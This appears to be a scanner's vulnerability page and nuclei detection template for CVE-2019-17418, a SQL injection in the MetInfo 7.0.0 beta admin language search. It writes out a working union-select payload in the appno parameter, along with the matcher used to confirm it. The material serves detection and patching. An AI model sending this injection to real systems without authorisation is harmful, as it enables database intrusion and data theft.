MetInfo 7.0.0 beta - SQL Injection

highseverity

7.2CVSS score

48.4%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

MetInfo 7.0.0 beta is susceptible to SQL injection via the admin/?n=language&c=language_general&a=doSearchParameter appno parameter (a different issue than CVE-2019-16997).

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Upgrade to a patched version of MetInfo or apply the necessary security patches provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/admin/?n=language&c=language_general&a=doSearchParameter&editor=cn&word=search&appno=0+union+select+98989*443131,1--+&site=admin
Positive when: contains "43865094559" AND status 200

Run it with nuclei: nuclei -id CVE-2019-17418 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-17418

info:
  name: MetInfo 7.0.0 beta - SQL Injection
  author: ritikchaddha
  severity: high
  description: |
    MetInfo 7.0.0 beta is susceptible to SQL injection via the admin/?n=language&c=language_general&a=doSearchParameter appno parameter (a different issue than CVE-2019-16997).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to a patched version of MetInfo or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/evi1code/Just-for-fun/issues/2
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17418
    - https://github.com/0ps/pocassistdb
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2019-17418
    cwe-id: CWE-89
    epss-score: 0.48366
    epss-percentile: 0.98875
    cpe: cpe:2.3:a:metinfo:metinfo:7.0.0:beta:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: metinfo
    product: metinfo
  tags: cve,cve2019,metinfo,sqli,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/?n=language&c=language_general&a=doSearchParameter&editor=cn&word=search&appno=0+union+select+98989*443131,1--+&site=admin"

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "43865094559"

      - type: status
        status:
          - 200

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